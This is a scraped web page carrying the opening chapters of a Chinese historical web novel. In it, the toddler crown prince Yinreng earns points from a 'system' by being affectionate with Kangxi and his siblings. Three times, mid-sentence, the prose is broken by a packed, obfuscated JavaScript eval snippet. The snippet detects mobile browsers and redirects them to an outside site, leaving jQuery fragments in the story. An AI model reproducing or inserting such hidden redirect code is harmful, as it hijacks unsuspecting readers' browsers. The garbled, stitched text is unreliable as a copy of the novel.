《【清】团宠太子他又在撒娇》 1. 第一章 康熙16年，乾清宫。 三岁的胤礽蜷在锦被中，只露出一双乌黑莹润的眸子，悄悄打量着榻前那道挺拔的身影。 他软软唤了一声：“阿玛。” 康熙正负手立在榻前，凝神听太医回话，并未留意这声轻唤。胤礽不甘心，又唤了一声，这次他嗓音提高了许多。 “皇上，”太医躬身，声音谨慎，“太子殿下仅是偶感风寒，并无大碍。奴才已开了疏风散寒的方子，静养数日便可痊愈。” 康熙闻言，紧绷的俊脸终于松了松，挥手让太医退下。 他这才转身看向榻上的小团子，快步走到榻边坐下，伸手想将胤礽揽入怀中。 谁知指尖刚触到被角，胤礽却小脸一憋，偏过身，扭来扭去不让抱。 康熙的手顿在半空，声音里带着几分无奈："......保成？" 胤礽心里满是委屈：阿玛方才都不理他，现在才想抱...... 哼！不要！ 正这时，他脑海里忽然响起一个声音： ——【叮！欢迎宿主绑定“撒娇卖萌求生系统”。终极目标：规避废太子命运，成为皇帝。 亲爱的小太子，您的新手任务已经发放：立刻对面前的康熙说“要抱抱”，宿主加油哦~】 胤礽彻底懵了，困惑地眨了眨眼，又眨了眨眼，怀疑自己是不是烧糊涂了。 系统？宿主？任务？这都是什么怪话？ 他撅起嘴，心里涌上一股强烈的抵触，气呼呼地想：他是皇太子，才不是废太子！ 凭什么要听一个来路不明的怪声音摆布？ 还要说……说什么要抱抱？ 这么丢脸的话他才不要说！ 【请宿主在30秒内完成任务。任务失败将触发惩罚。倒计时：三十，二十九……】 那声音再次响起，冰冷无情地开始计数。 胤礽的小心肝顿时扑通扑通狂跳起来。 惩罚？什么惩罚？ 会不会像上回他调皮捣蛋，汗阿玛沉下脸来时说的那样……打手心？或者打屁股？ 想到这里，他猛地捂住自己的小屁股，小手轻飘飘地按着寝衣，都能感觉到肉乎乎的触感。 不行！绝对不行！太子殿下怎么能被打屁股！ 【二十二，二十一……安啦安啦，不是打手心哦，本系统主张科学育儿、以德服人。】 系统的声音忽然又变得轻快， 【任务失败的话，您将会获得一件【花里胡哨锦袍】一日体验券。配套大红头巾一顶，包您走遍宫里最显眼！ 十五、十四……】 随之浮现在胤礽眼前的，是一件大红大绿、绣着艳丽牡丹的棉袄。 土得惊天动地，丑得荡气回肠。 胤礽打了个哆嗦，小脸顿时涨红，像煮熟的小虾，热烘烘的。 穿、穿这个？！ 还要在宫里走一天？！ 这这这……这比被阿玛打屁股还可怕一百倍。 他会成为紫禁城有史以来最丢脸的太子！ “这是什么怪东西！专欺负人！”他急得小眉头拧成了麻花，心里呜呜咽咽地抗议， “保成可是太子！怎么能穿得像只花毛鸡！” 【十、九、八……】 倒计时越来越近，如同催命符一般，空气仿佛都紧绷起来。 胤礽眼睁睁看着脑海里那件花棉袄的幻象越来越清晰，甚至仿佛能闻到那股新布的味儿…… 他再也顾不得什么太子威仪、什么男子汉气概了。 保屁股......不，保脸面要紧！ 小家伙猛地从被窝里钻出来，伸出两只肉乎乎的小胳膊，朝着康熙奶声奶气地喊道： “阿玛，保成要抱抱！” 声音又急又糯，还带着点破音。 康熙闻言，明显愣了一下。 近段日子政务繁忙，三藩战事吃紧，他不得不将保成暂养在其他宫中，已有些时日未曾好好亲近这孩子。 记忆中，这孩子似乎也渐渐变得沉默拘谨了些，不像从前那般粘人。 没想到今日病了，反倒…… 随即，一股难以言喻的喜悦和柔软漫上康熙心头，他不禁低笑出声，带着显而易见的愉悦。 康熙立刻弯下腰，从善如流地将胤礽揽进怀里，动作轻得像捧着个宝。 小团子暖乎乎的身子带着淡淡的奶香，康熙忍不住深深吸气。 “太子爷这是舍得理朕了？”康熙嘴角微翘，忍不住调笑。 可胤礽却没立刻回话。 小家伙正忙着呢！ 他一个劲地往康熙怀里钻，小脑袋在皇帝颈间蹭来蹭去。 鼻尖萦绕着那令人安心的、熟悉的龙涎香气，心里则疯狂惦记着那个要命的倒计时。 怎么还没完？！难道抱得不够紧？不算数？ 他催促道：“阿玛抱紧点，抱紧点嘛” 小家伙的声音软糯糯的，带着点撒娇的鼻音，在安静的殿内回荡，像小猫的咕噜声。 康熙被儿子这突如其来的依赖弄得有些好笑，又十分受用，果然收紧了手臂。 他故意打趣，低沉的笑声在胤礽耳边响起：“怎么？朕的保成今日是变成小粘糕了？方才不是还哼哼唧唧地不理人？” 【倒计时结束。检测到宿主正被父亲拥抱，符合‘父慈子孝’任务要求，惩罚取消。】 系统提示一落，胤礽心里“咚”的一声，立刻放松下来，整个人都软在康熙怀里，觉得暖烘烘的，舒服极了。 他懒懒地蹭了蹭，这才抬起小脸，有心思回应康熙的话了。 “才不是……”他小声嘟囔，黑白分明的大眼睛里带着点小委屈和小指控， “是保成先叫您的，您没理我。” 小太子撅起嘴，心里还在记账。 康熙挑眉，仔细回想。他方才全副心神都在太医关于太子病情的禀报上，确实毫无印象。 他如今不过二十出头的年纪，纵然已是九五之尊，心性里仍存着些许年轻人的意气，自然不肯轻易认下这“漠视太子”的罪名。 他一脸莫名，看着怀里的小人儿：“朕何时没理你？” 胤礽见阿玛不认账，瘪瘪小嘴，奶音软软地控诉：“刚刚您和太医讲话的时候……保成叫了好几声呢。” 说着，还伸出两根短短的手指头，试图增加说服力，“两次！” 康熙愣了片刻，随即失笑。 好个小东西，真敢说？还记上数了？ 他空出一只手，在那圆鼓鼓的小屁股上不轻不重地拍了一记，力道控制得极好，与其说是惩罚，不如说是亲昵的玩笑。 “唔！” 胤礽哼唧一声，脸蛋更红了，不知是羞还是恼。 康熙假装责备：“太子爷还好意思怪朕？是哪个小笨蛋生病了？ 如今染了风寒，让朕操心？朕一心扑在这个小笨蛋身上，你倒怪起朕来了？” 胤礽被说得心虚，缩了缩脖子，把小半张脸埋回康熙怀里，声音闷闷地： “嗯……是保成不占理……阿玛关心保成……” 康熙见他服了软，小模样可怜又可爱，便收了玩笑的神色，眉宇间凝上一丝真实的担忧： “孙太医虽说不妨事，但好端端的怎么会吹了风？可是底下人伺候不用心？” 胤礽连忙摇头，声音软软地替宫人说话：“没有……嬷嬷们都很好的。” 他心里却想着，阿玛御下极严，若是怪罪到嬷嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553974|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们头上，她们肯定要受罚的。 康熙眉头微蹙，沉吟不语。 伺候得尽心，孩子也懂事，那这病从何而来？ 他想起方才太医隐晦提及，太子体质稍弱，有几分是娘胎里带来的……心尖像是被细针轻轻刺了一下。 他暗下决心必要寻天下良方，将保成的身子调养得结实康健。 正思忖间，一个小宫人垂着头，端着药碗走进来。 碗里黑乎乎的药汁冒着热气，苦涩的味道在殿内扩散开来。 胤礽一闻到那味道，立刻皱紧了小鼻子，整个人往康熙怀里缩去。 小宫人跪下，恭敬地将碗递上。 胤礽偏着脑袋，左摇右晃不肯让喂，小手推着碗：“不要，苦苦的。保成不喝。” 药汁溅出一点洒在手上，他心里一股酸意翻涌上来，抿着嘴突然不说话了，只安安静静盯着药碗。 康熙见那药还没喝多少，就要洒了大半。索性让宫人把药碗端过来，自己温声哄着一口一口喂。 胤礽倒是顺从地张嘴，抿了一口。 药苦得他小脸皱成包子，舌尖麻麻的，眼泪差点掉下来。 但康熙喂得仔细，他一口口咽下，殿内只剩勺子碰碗的轻微叮当声。 喂完药，康熙从罐子里拈了一颗最大的蜜渍金桔，塞进了胤礽嘴里。 甜甜的味道在口中化开，缓解了苦涩，胤礽舒服地眯了眯眼。 可一看到仍跪在一旁的宫人，他又有些出神。 康熙敏锐地察觉到儿子的走神，顺着他的目光瞥了那宫人一眼，并未立刻发作。 只是指尖轻轻拂过胤礽额前被细汗濡湿的柔软碎发，温声问： “怎么？一颗蜜饯就把朕的太子甜傻了？看什么呢？” 宫人伏在地上，头埋得极低。 胤礽看着那宫人，心里却想起了别的事。 阿玛待他这样温柔，可有些人却在背后笑话他…… 他小小的心里忽然充满了矛盾，有点害怕，又有点莫名的渴望，想知道一个答案。 他还在犹豫，要不要问出口。 系统在他脑海里循循善诱：【小宿主别怕嘛～跟你爹说说，他肯定不会生气的～】 可是……他是太子，汗阿玛从小就教导他要稳重宽仁。 若是连底下人几句闲言碎语都要放在心上，都要跑来告状，阿玛会不会觉得保成小气，不像个好太子？ 胤礽的手指紧张地绞着衣带，小脸绷得有些紧。 康熙察觉到了他的异样，低头看他。 胤礽深吸一口气，仿佛用尽了全身力气，声音细得像蚊蚋：“阿玛……” “嗯？”康熙应着，耐心等待他的下文。 他仰起小脸，眼神怯怯的，小心翼翼地问出了那个盘旋在他心头许久的问题： “保成是不是……真的是没娘的孩子？” 说出来阿玛会不会难过？可是那个声音说试试不吃亏…… 话音方落，脑中便响起清脆的提示音： 【叮——宿主主动吐露心声，与皇帝感情增进，奖励积分1分。当前积分：2分。 望宿主再接再厉，共创父慈子孝温馨氛围！】 而康熙，在听到这话时，整个人骤然僵住。 搂着儿子的手臂猛地一紧，随即又强迫自己放松下来，生怕勒疼了他。 他的脸色几乎是瞬间沉了下去，眼底翻涌起极其复杂的情绪——震惊、心痛、猝不及防的悲伤，还有一丝难以压抑的怒意。 跪在地上的小宫人吓得魂不附体，恨不得立即昏死过去。 沉默良久，康熙低沉的声音在殿内响起： "保成，乖。告诉阿玛，是谁跟你说了这样的混账话？" 2. 第二章 胤礽眨巴着大眼睛，茫然地扫视着殿内纷纷跪下的宫人们。 他隐约感觉到阿玛好像很生气，却完全不明白自己只是把心里的话问出来，为什么阿玛要生气。 他才三岁，哪里懂得这些宫廷暗流？ 只是康熙此刻的眼神……像是要把人吞了似的，让他不由得缩了缩小身子。 胤礽是已故的仁孝皇后所生，康熙待他如掌上明珠，比护着眼珠子还小心。 如今竟然有人敢在他眼皮子底下，对他的保成说出那样的话。 往小了说，是宫人嘴碎，嚼舌根子；往大了说，这是在挑拨皇帝与储君的父子情分！ 康熙越想越怒，心头似有一团火在烧，烧得他几乎要拍案而起。 胤礽心虚地伸出软乎乎的小手，轻轻摸了摸康熙紧锁的眉头，小声试探： “阿玛……是保成说错话了吗？阿玛别生气，好不好？保成以后不说了。” 康熙心口一酸，压下翻涌的情绪，柔声道：“不，阿玛没有在对你生气。” 他又重复一遍， “你只要告诉阿玛，你这话，是从哪儿听到的？” 小太子为难地咬了咬下唇，踌躇片刻，目光偷偷往人群方向瞥了一眼。 “保成，别怕。”康熙立刻察觉，揉了揉他细软的头发，“没事，你大胆说，阿玛不会罚他。” 得到保证，小家伙才小声嘟囔：“前日午睡的时候，保成听见小禄子他们说……说我是没娘的孩子，运气好才当上这个太子……” 说到最后，他的声音越来越小，低下了头，小手攥着康熙的衣角，像是怕被责骂。 康熙瞳孔骤缩，心像被钝刀狠狠割过。 没娘的孩子…… 运气好…… 他喉头一哽，几乎喘不过气。 看着怀中与赫舍里有几分相似的眉眼，想起她弥留时温柔却不舍的目光，想起她将繈褓中软软一团的保成交到自己手中时的嘱托…… 他的保成，才这么小，竟就在他眼皮底下受这种委屈！ 奉药的小禄子瘫在地上，额头 “咚咚” 往青砖上磕，没几下就渗出血迹，嘴里含混地喊着‘奴才罪该万死’。 康熙冷冷地扫了他一眼，沉声道：“梁九功，带下去。” 康熙此刻怒火攻心，需要一个发泄口，更要立即彻查此事。 这个撞在枪口上的宫人，正好用来杀鸡儆猴，震慑所有伺候太子的人。 康熙的贴身大太监梁九功心头一凛，连忙示意左右将人拖走，省得皇帝的怒火愈发高涨。 胤礽却突然抬起头，拽住康熙的袖子，急急地问：“阿玛！他们要把他带哪儿去？” 康熙一愣，低头看向怀里的小人儿。 胤礽的眼睛亮晶晶的，带着几分担忧，几分懵懂，显然是心软了。 康熙知道，这个小禄子平日里负责照看胤礽午睡，保成心善，怕是舍不得他受罚。 他叹了口气，耐着性子哄道：“保成，这人伺候你不尽心，阿玛把他换了，让他去别的宫里待着。” 话说得温和，可瞥向梁九功的那一眼，却冰寒彻骨。 梁九功赶紧把人带了下去，一刻不敢多留。 胤礽又小声问：“阿玛……保成平日里听到这些话……是不是不好？” 康熙心头一震，追问道：“你平日里常听到这样的话？” 胤礽犹豫了一下，还是老老实实地继续道：“嗯……有时候，保成睡不着，听到他们悄悄说……” 康熙的脸色越发阴沉。 他突然想到保成今日莫名发起低烧，恐怕就是被这些混账话扰的！ 小小一个人，心思敏感，闷在心里，这才病了。 他越想越心疼，恨不得立刻把那些碎嘴的东西全都杖毙。 就在这时，胤礽的肚子突然咕噜噜得叫了起来。 小家伙红着脸蛋，伸出肉嘟嘟的小手揉了揉小肚皮，尴尬地笑了笑，露出一排小奶牙。 心里暗暗嘀咕：哎呀，好丢人啊！阿玛会不会笑话保成是小馋猫？ 呜呜，保成明明刚吃过早膳，怎么这么快就饿了？ 康熙瞧着心疼，便挥挥手让宫人端了一小碟新做的点心来。 都是些易克化的奶饽饽、枣泥山药糕，还特意嘱咐要做得软和些。 “饿坏了吧？慢点吃。”康熙捻起一块温热的山药糕，递到儿子嘴边。 胤礽就着皇阿玛的手，啊呜一口咬下去，甜糯的口感化在舌尖。 他满足地眯起眼，像只被顺毛的猫儿。 正吃的满心欢喜的时候，那个声音又不合时宜地“叮”了一声： 【请宿主反向投喂任务目标——康熙。任务奖励：积分+1。】 胤礽咀嚼的动作顿时慢了下来，小眉头几不可察地拧了一下。 又来？ 他心里一百个不情愿。 这一小碟统共才四块糕，他自己还没吃饱呢！ 胤礽自小被康熙千娇万宠地养大，什么好东西都是紧着他先来，早已养成了独占的性子。 他的东西，那就是他的，从没想过要分出去，更别提是主动送出去了。 可那任务明晃晃地悬在意识里，不完成还不知道会有什么惩罚。 胤礽偷偷抬眼觑了觑康熙，皇帝正眉眼温和地看着他，指尖还沾着一点糕饼的碎屑。 唉…… 胤礽在心里重重叹了口气，终于慢吞吞地伸出小手，从碟子里拿起一块他觉得最好看的奶饽饽。 他像是下了多大决心似的，把点心递到康熙唇边， “阿玛，您也吃。” 康熙正享受着投喂儿子的乐趣，冷不丁看到胤礽举着糕点递过来，明显愣了一下。 这孩子，可是最护食的！ 他低头就着儿子的手咬了一小口，细细品味后，忽然朗声大笑，将胤礽搂进怀里： “哎哟，朕的保成，知道心疼皇阿玛了！” 平日里觉得寻常的点心，此刻竟比任何山珍海味都要香甜。 胤礽看着康熙笑得见牙不见眼，连声称好，心里那点不情愿倒是散了些，转而升起一丝微妙的、从未有过的感觉。 好像……看着皇阿玛这么开心，比他自己独吞了那盘点心，滋味还要特别一点？ 就在这时，梁九功轻手轻脚地走了进来，低声道：“万岁爷，南面的急报到了，几位大人已在南书房候着。” 康熙脸上的笑意微敛，抬手轻轻擦去胤礽嘴角的点心屑，温声道：“保成乖乖的，自己再吃些，皇阿玛去去就回。” 说完，便起身整理了一下衣袍，随着梁九功大步离去。 寝殿内霎时安静下来，只余下淡淡的点心甜香。 胤礽目送着皇阿玛的背影消失在殿门处，心里有点空落落的。 他百无聊赖地戳了戳盘子里剩下的半块糕，忽然，刚才那个奇怪的声音和喂点心的事一下子又钻回了脑子里。 对了，那个怪声……还说有奖励来着？ 胤礽一下子坐直了小身子，好奇心压过了那点小失落。 他试着像刚才那样，在脑子里想：“那个，喂皇阿玛点心的奖励呢？” 【叮！任务“投喂康熙”已完成，奖励积分：1分，已发放。 是否现在打开系统商城？】 “商城？”胤礽眨巴着大眼睛，对这个词陌生极了。 他带着满满的期待，在心里用力地想：“打开！” 瞬间，一个半透明、泛着微光的方形框框突兀地出现在他眼前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553975|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 里面整整齐齐排满了各种小格子，每个格子里都有字和简单的图样。 胤礽兴奋地凑过去看，可小脸很快就垮了下来——那些字弯弯曲曲，他一个都不认识！ 这都是什么呀…… 他不由得撅起了嘴，有些气恼。 【检测到宿主认知水平与文字库不匹配，自动启用‘幼儿启蒙模式’。】 系统提示音刚落，胤礽眼前突然跃出一只黑白分明的熊猫。 【宝宝你好呀，小七为你服务。】 它笨拙地在空中打了个滚，稳稳坐好，然后短小的尾巴轻轻一摇。 唰——！ 商城界面上的字迹迅速模糊、消失，取而代之的是更加清晰、色彩鲜艳的实物图片。 胤礽这下高兴了，眼睛一下子亮了起来。 他听懂了，这会说话的神奇小熊，叫他宝宝 呢。 而且那些图片他也看得懂了。 胤礽本想摸摸它，只可惜摸到了空气。 【小七只存在在宝宝的意识里，是摸不到的。】 胤礽没多纠结，目光很快被一格画着黑色玻璃瓶、冒着气泡的图片吸引住了。 这是什么？墨汁吗？好像又不是…… 他注意到图片底下标着一个亮晶晶的“1.5”数字。 要一个半积分？他刚刚好像一共就3分……有点贵呀。 他犹豫了一下，但强烈的好奇心最终还是占了上风。 换这个！ 念头刚落，一个冰凉、沉甸甸的黑色小玻璃瓶就凭空出现在他摊开的小手掌里。 “哇！”胤礽低低惊呼一声，差点没拿住。 他小心翼翼地捧着瓶子，学着大人喝酒的样子，凑到嘴边喝了一小口。 一股从未体验过的、甜爽的刺激感瞬间冲进口腔，无数小气泡在舌头上噼啪跳动。 好甜！好奇妙！ 他忍不住又仰头喝了一大口，冰凉的液体滑下喉咙， “嗝——” 一个响亮的嗝打出来，把他自己都逗笑了。 看着手里一下子少了一半的黑色甜水，胤礽的小脸上露出了明显的不舍。 就剩一点点了…… 他紧紧抱着小瓶子，有点发愁。 【东西先放在系统空间里，宝宝想用的时候再拿出来就好。】 小七的提示适时响起。 能存起来？ 胤礽立刻放心了，在心里默念：“存起来！” 手里的黑瓶子瞬间消失。 他松了口气，又开始兴致勃勃地浏览起商城来。 很快，他发现有几个格子的图片是灰色的，什么都看不清。 这些是什么？坏掉了吗？ 他伸出小手指，好奇地虚点了一下灰色的格子。 【这个地方宝宝现在还打不开，得再长大一点才能用。】 哦，原来还锁着呢。 胤礽似懂非懂地点点头，像个小大人。 他想起最关键的问题：那孤该怎么赚更多积分，换更多好东西呢？ 就是像刚才那样，完成你给的任务吗？ 【简单来说，就是攒“喜欢”。】 小七语调带着鼓励，为胤礽解释， 【您是大清储君，要想安安稳稳继位，得让阿玛疼您、兄弟们跟您亲，没人给您添乱才行 】 “这样就能当皇帝了？” 胤礽歪头确认。 【当然！撒娇值就是攒 “大家的喜欢”，值越多，宝宝的路越顺。】 让皇阿玛……更喜欢我？ 胤礽歪着头琢磨着。 想到刚才皇阿玛因为他喂点心而开怀大笑的样子，小家伙心里好像有点明白了。 好像……也不是很难嘛？ 3. 第三章 不，实际上还是很难的。 自那日康熙离去处理政务后，胤礽已经整整两日没有见到康熙了。 其实不是胤礽没看到，而是他和康熙的时间完全错开了。 每次他迷迷糊糊睡着了，康熙才拖着疲惫的身子回来；等他揉着眼睛醒来，康熙又早早去了上朝。 而午膳时间，康熙为了处理政务，干脆窝在南书房里，边批折子边扒拉两口饭，压根儿没空闲下来。 如此一来二去，父子二人竟是一次都没碰上面。 胤礽趴在床边，望着门口发起呆来。 一旁侍立的陈嬷嬷注意到胤礽的不开心，轻声问道：“殿下，可是饿了？小厨房新做了糖蒸酥酪，要不要用些？” 胤礽如今重新住回乾清宫，康熙将他身边伺候的人全换了一遍，个个尽心尽力。 耳边再听不到那些让人心烦的闲话，可这帮人三句话不离“殿下饿不饿”，倒叫胤礽哭笑不得。 他忍不住腹诽：孤又不是小猪，只知道吃！ “不，孤现在不饿。” 胤礽嘴角微微抽搐，无奈地翻了个身，面朝里躺在软榻上，手指无意识地抠着锦褥上的绣纹。 他在心里小声唤道：小七，孤该怎么办呀？总这么干等着，也太憋屈了。 【宝宝不要急，见不到爹爹的话，宝宝可以去找你的兄弟们玩呀。】 兄弟？他还有兄弟吗？ 胤礽一下子没反应过来，脑子里飞快转了转，随即恍然大悟。 哎呀，他怎么把荣嫔娘娘生的那个小弟弟给落下了呢？ 想到这儿，胤礽顿时来了精神，一骨碌爬起来，兴冲冲地张开手臂让陈嬷嬷替他更衣。 “嬷嬷，帮孤换衣服，孤要去钟粹宫玩！”他眼睛亮晶晶的，方才的郁闷一扫而空， “记得带上那盒新进的蜜饯，给弟弟尝尝。” 陈嬷嬷笑着应了，动作麻利地给他披上小袍子，随即抱着胤礽走出了乾清宫，风风火火地往钟粹宫赶。 刚到钟粹宫门口，胤礽正巧撞上荣嫔。 荣嫔一身浅粉旗装，鬓边簪着朵珠花，笑起来温温柔柔的，像春风拂面。 胤礽对这位总带着温柔笑意的庶母很有好感，规规矩矩地行了礼：“见过荣嫔娘娘。” 荣嫔哪敢受太子的礼？ 她虽然是庶母，但太子毕竟是储君。她连忙侧身避让，赶紧弯腰扶住胤礽。 “哎哟，殿下快起来，这可使不得。快进来坐。” 她一边说，一边拉着胤礽的手往里走，把人带到榻前。 “娘娘给您备了些新鲜的荷花酥。”荣嫔笑着让人端来点心，又亲自斟了杯杏仁茶，“殿下尝尝？” 胤礽刚刚过来的时候口渴了，便喝了几口杏仁茶。 见荣嫔一脸期待地看着自己，他只好捏起一小块荷花酥，小小得抿了口。 胤礽一边慢吞吞嚼着，一边眼神在屋里转了圈，没见着想见的人。 他抬起小脸蛋问：“娘娘，弟弟呢？孤想去看看他。” 荣嫔指了指东侧的屋子，“殿下有心了，小阿哥还小，容易困，现在正在里屋睡着呢。” 胤礽小脸一垮，有些失望地哦了一声。 完啦，弟弟见不着，积分又没了…… 正当他垂头丧气准备告辞时，门外忽然传来一阵细碎的脚步声，紧接着，一个小姑娘风风火火得推门而入。 她扎着双髻，穿着湖蓝小袄，眉眼间和荣嫔有几分像。 正是荣嫔的女儿，二格格荣宪。 胤礽之前与这个二姐姐见过几面，还算熟悉。 他看荣宪气得连头上戴的绢花都歪了，方才的失落倒忘了大半，主动凑过去问道： “二姐姐，你这是怎么了?谁惹你不高兴了？" “太子弟弟安好。”荣宪朝他行了一礼。 她踢着门槛上的小石子，抱怨道：“我的刺绣又不过关了。嬷嬷说绣得不成样子，被她数落了好半天。” 她说着，从袖子里摸出一方帕子，摊开给胤礽看。 胤礽凑近瞧了瞧，那上面绣着对鸟儿，歪歪扭扭的，翅膀像被风吹乱了，颜色也配得稀奇古怪。 见荣宪眼巴巴盯着他，他尴尬地笑了笑：“二姐姐，这个……孤不懂绣活呀。要不，你问问娘娘？” 荣嫔走了过来，接过帕子，仔细端详一番，随即温声安慰： “嬷嬷要求严了些，但那是刀子嘴豆腐心，额娘看你这鸭子绣得挺活泼的。” “额娘！我绣的是鸳鸯！”荣宪气得跺脚，一把把帕子抢了回来，塞到胤礽手里，“太子弟弟！你说，这像什么？” 胤礽挠挠头，心里直打鼓：这要是实话实说，二姐姐不得哭鼻子？ 他盯着那团五彩斑斓的鸳鸯，眼睛突然一亮。 “孤看姐姐绣的鸳鸯好极了，栩栩如生！”他指着那对歪扭的翅膀，“你瞧这翅膀，多有劲道，一看就能飞过紫禁城。 还有这颜色，多喜庆。御池里那些灰扑扑的鸳鸯，哪有二姐姐绣的神气？” 荣宪顿时眉开眼笑，高兴地说：“真的吗？那我改日也给太子弟弟绣一个荷包！” 胤礽：“……” 【叮！检测到宝宝维护了和谐的姐弟关系，获得二公主‘真心好感’，奖励积分 1 分。】 胤礽心里那点对衣服的担忧，立刻被这意外的惊喜冲散了。 是积分！他还以为今天没有收获呢。 趁着荣宪姐姐正沉浸在要绣荷包的兴致里，胤礽在心里悄悄发问：“小七，你之前不是说，是要和皇阿玛、还有兄弟们处好关系吗？” 怎么这次奖励，却是因为和二姐姐说了话？ 还未待小七解释，荣宪忽然一拍手，拉着胤礽的手就往外拽。 “太子弟弟，走！我带你去御花园玩，昨儿我瞧见那边的花开了，可漂亮了！” 她眼睛里满是期待，拉着胤礽的手都用了劲。 荣嫔原本端坐在一旁，见两个孩子闹哄哄要去御花园，她忙伸手拦下了二人。 她还未开口，胤礽却率先安慰道：“荣嫔娘娘，您别担心，孤真的已经好了。” 胤礽心里有些兴奋，他还从来没和同龄人一起玩过呢。 荣嫔微微一怔，目光落在太子白嫩的小脸上。 那与先皇后相似的眼睛里写着期待和倔劲儿，让她心口一涩，一时竟失了神。 荣嫔几不可闻地轻叹一声，那点想拦着的心思终究松了。 她吩咐身边的贴身宫女：“你去南书房给万岁爷报备一声，就说殿下和公主去御花园赏菊，让万岁爷放心。” 宫女领了命，快步去了。 没过多久，就匆匆回来传话：“娘娘，万岁爷准了，还说让二公主多看着点太子殿下，别让殿下磕着碰着，玩一会儿就回。” 荣宪一听康熙准了，更高兴了，拉着胤礽就往外跑。 宫女太监们连忙跟上，一行人出了钟粹宫，沿着宫道往御花园去。 秋日天高气爽，园中金菊开得正盛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553976|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜂蝶翩跹，空气里浮动着沁人的清香。 谁知刚走到半路，荣宪突然捂着肚子蹲下身，脸上挤出一副痛苦的表情： “太子弟弟，我肚子疼，得去旁边的偏殿方便一下，你在这儿等等我，别乱跑呀！” 胤礽点点头，乖巧地说：“好，二姐姐快去，孤在这儿等你。” 荣宪转身便带着宫女跑向不远处的偏殿，裙角一晃就不见了踪影。 胤礽一个人站在□□边，东张西望，目光很快被地上的一群蚂蚁吸引了过去。 那些小黑点正忙忙碌碌，齐心协力地搬运着一只死去的蝴蝶。 有的咬着蝴蝶的翅膀，有的拖着蝴蝶的腿，还有的在旁边来回跑，像是在指挥。 胤礽蹲下身子，数得认真：“一、二、三……这蚂蚁怎么这么多？” 【宝宝，你知道蝴蝶是什么变的吗？】 胤礽盯着蝴蝶，摇了摇头：“不知道，是从蛋里孵出来的吗？” 【不是哦，是毛毛虫变的。】 【毛毛虫会先变成茧，在茧里待上一段时间，然后就会破茧而出，变成漂亮的蝴蝶啦。破茧成蝶可是很了不起的过程。】 “啊？” “虫子也能变好看？”胤礽惊讶地睁圆了眼睛，随即又露出嫌弃的表情，“不过毛毛虫好恶心……” 他最讨厌虫子了，毛毛虫那种软乎乎、扭来扭去的东西，光想想就让他头皮发麻。 【虫子也有可爱的地方呀，你看旁边的蚂蚁，它们也很厉害呢！】 系统指着搬蝴蝶的蚂蚁， 【它们分工合作，团结一心，才能把比自己大那么多的蝴蝶搬进洞里。 这叫团结力量大，只要大家一起努力，再难的事也能做成。】 小太子眨了眨眼，歪头想了想，虽然没完全听懂，却还是一本正经地点了点头。 他又低下头数蚂蚁，数到第二十只时，他抬头望了望，荣宪还没回来。 胤礽等得有些不耐烦，对身侧的陈嬷嬷说道：“嬷嬷，你去看看二姐姐怎么还不来？” 陈嬷嬷面露难色，可转念想起康熙“凡事以太子需求为先”的叮嘱，终究没敢耽搁。 她让侍卫们仔细守着，自己快步去寻二格格。 胤礽蹲在地上拨弄着草叶，连身边有人走近都没察觉。 直到一个温柔的女声在耳边响起：“哎哟，这是哪家的小殿下，一个人在这儿玩呢？” 胤礽吓了一跳，小身子一抖，没站稳，“扑通”一声坐在地上，摔了个屁股蹲。 他红着脸，一下子火气就上来了，抬头瞪着来人。 眼前的宫妃穿着月白底绣金线芙蓉花的宫装，外罩一件烟霞色的披帛，头上簪着几支碧玉簪，流苏垂在耳侧，随着她的动作轻轻晃动。 她笑盈盈地看着胤礽。可那双眼睛里的光，却让胤礽觉得有点不舒服。 “你为什么要蹲在孤身边吓孤？” 胤礽揉着屁股，从地上爬起来，小脸上满是不满，奶音里带着点怒气。 那宫妃见胤礽摔了，连忙上前，想要扶他，却被胤礽躲开了。 她脸上的笑容一滞，随即又柔声道：“殿下莫气，是本宫不对，不该吓着你。本宫只是瞧见你一个人在这儿，想过来陪你说说话，没成想会吓到你。” 她边说着，边蹲下身，试图拉近与胤礽的距离，手里的团扇轻轻摇晃。 胤礽却不吃这一套，小眉头皱得更紧了。 他后退一步，板着脸道：“你见到孤，为什么不行礼？” 4. 第四章 佟佳贵妃瞧着眼前丝毫不给她面子的胤礽，心口一阵发紧，只能在心中深深吸了一口气。 她出身佟佳氏，姑姑是孝康章皇后，凭着这层亲眷关系，一入宫便得了妃位，如今更是晋了贵妃。 在她眼里，这宫里除了皇上和太皇太后，就属她身份最尊。 便是眼前这位太子，论亲缘也是她的表侄，如今她主动示好，他怎么也该给几分面子才是。 更不要说她与皇帝表哥情投意合，在她设想中，自己迟早会坐上后位，这孩子合该唤她一声皇额娘才是。 谁知这小太子竟然半点都不买账！ 